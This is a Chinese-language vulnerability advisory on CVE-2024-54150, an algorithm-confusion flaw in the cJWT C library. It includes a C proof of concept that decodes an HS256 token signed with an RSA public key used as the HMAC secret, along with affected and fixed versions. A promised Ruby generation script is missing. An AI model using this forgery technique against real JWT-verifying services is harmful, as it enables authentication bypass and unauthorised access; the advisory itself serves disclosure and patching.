cJWT中存在的一个安全漏洞CVE-2024-54150预警
cJWT是一个C JSON Web Token(JWT)的实现,准确的来讲,cJWT就是一个用于创建、解码和验证JSON Web Token(JWT)的C库。
一、基本情况
cJWT是一个小型JWT处理程序,旨在允许JWS变体JWT的消费者能安全、方便地从JWT获取声明和数据。API 应用程序编程接口相当小。
这个特定的JWT实现轻松的使用cJSON,并且其被设计成在将来支持多个不同的加密库,从而可以很好地利用cJSON提供的已有的功能。
栋科技漏洞库关注到cJWT签名验证不正确漏洞,允许攻击者伪造具有不正确签名的令牌,漏洞追踪为CVE-2024-54150,CVSS评分8.7。
二、漏洞分析
CVE-2024-54150漏洞是cjwt中存在的一个高危签名验证不正确漏洞,当系统不正确地验证所使用的签名类型的时候,就会发生算法混乱。
攻击者可利用签名方法之间缺乏区别的情况,若系统在验证期间不区分HMAC签名的令牌和RS/EC/PS签名的令牌,就容易受到这种攻击。
举例来说,攻击者可以通过手动的方式创建一个alg字段设置为“HS256”的令牌,但服务器期望使用的是一个像“RS256”这样的非对称算法。
如此一来,服务器就可能会错误地使用错误的验证方法,例如会使用公钥作为 HMAC 密钥,从而可能会导致未经授权的访问的情况发生。
对于 RSA来说,可以根据几个签名计算出来其相关的密钥;而对于椭圆曲线(EC)来说,则可以从一个签名中恢复出来两个潜在的密钥。
如果应用程序依赖于非对称签名的令牌,这可以用来绕过签名机制,漏洞已在 2.3.0 版中解决,除了升级版本之外没有其他已知解决方案。
三、POC概念验证
1、下面的代码说明了这个问题:
#include <stddef.h>
#include <stdint.h>
#include <string.h>
#include "cjwt.h"
int main(void)
{
cjwt_t *jwt = NULL;
cjwt_code_t rv;
/* the ps variant is very similar */
const char *rs_text =
/* header */
"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9Cg."
/* payload */
"eyJzdWIiOiIxMjM0NTY3ODkwIiwibGlicmFyeSI6Imh0dHBzOi8vZ2l"
"0aHViLmNvbS94bWlkdC1vcmcvY2p3dCIsImlhdCI6MTUxNjIzOTAyMn0."
/* signature */
"dCJQACrMVrIMf2Jc6s2S_ABf46Csdqmqv-ZNMrTQhPM";
/*
"e-pFjFcKyrWa6ODgkclHe26EEF6AkI-xaW6J-Z37IdfygRKmgqy5cIz"
"hjIGBPQg2aJGrPmCc5zP-zeK1M98odo5OCxCDdfQsKTtJJlCIVC2Iv1"
"CaZDc-dTNnmjZE6PBM9fzwhXd5ESNjSxhtHSt8_9gFmogaixcxD1D7A"
"nSJ1kl-o9yVK2vpTHfFEyx5npUGbuNGSdIcoUHQUvL3B55XhQW_IlT"
"moYUjBKAg0Mqk1HAhzQ-ZXz2C6Ptopx9ga3ccK4QmXnUHwo_pF7eIh"
"WweMfy_JM7pNGZc1VGa0hCpp-Axwq3CZfwLL0DY7ohcSYfJN_4d4Qn7"
"2S8EHKg_E5Ng"; */
const char *rs_pub_key =
"-----BEGIN PUBLIC KEY-----\n"
"MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnzyis1ZjfNB0bBgKFMSv\n"
"vkTtwlvBsaJq7S5wA+kzeVOVpVWwkWdVha4s38XM/pa/yr47av7+z3VTmvDRyAHc\n"
"aT92whREFpLv9cj5lTeJSibyr/Mrm/YtjCZVWgaOYIhwrXwKLqPr/11inWsAkfIy\n"
"tvHWTxZYEcXLgAXFuUuaS3uF9gEiNQwzGTU1v0FqkqTp4B8nW3HCN47XUu0t8Y0\n"
"e+lf4s4OxQawWD79J9/5d3Ry0vbV3Am1FtGJiJvOwRsIfVChDpYStTcHTCMqtvWb\n"
"V6L11BWkpzGXSW4Hv43qa+GSYOD2QU68Mb59oSk2OB+BtOLpJofmbGEGgvmwyCI9\n"
"MwIDAQAB\n"
"-----END PUBLIC KEY-----";
rv = cjwt_decode(rs_text, strlen(rs_text), 0,
(uint8_t *) rs_pub_key, strlen(rs_pub_key), 0, 0, &jwt);
if (CJWTE_OK != rv) {
printf("There was an error processing the text: %d\n", rv);
return -1;
}
cjwt_print(stdout, jwt);
cjwt_destroy(jwt);
return 0;
}
没有太多可看的,因为它就像使用 HMAC 验证令牌一样,但签名是使用公钥的 HMAC 计算的。
2、您可以使用以下 Ruby 使用 example/basic/rs_example.c 中的公钥生成令牌:
解决问题的一个好方法是强迫人们将允许的算法设置为选项的一部分。
例如,默认情况下仅接受 HMAC(最有可能的用法),开发人员可以根据需要使用允许 RS*/ES*/PS* 的选项。
四、影响范围
cjwt <= 2.2.0
五、修复建议
cjwt >=2.3.0
六、参考链接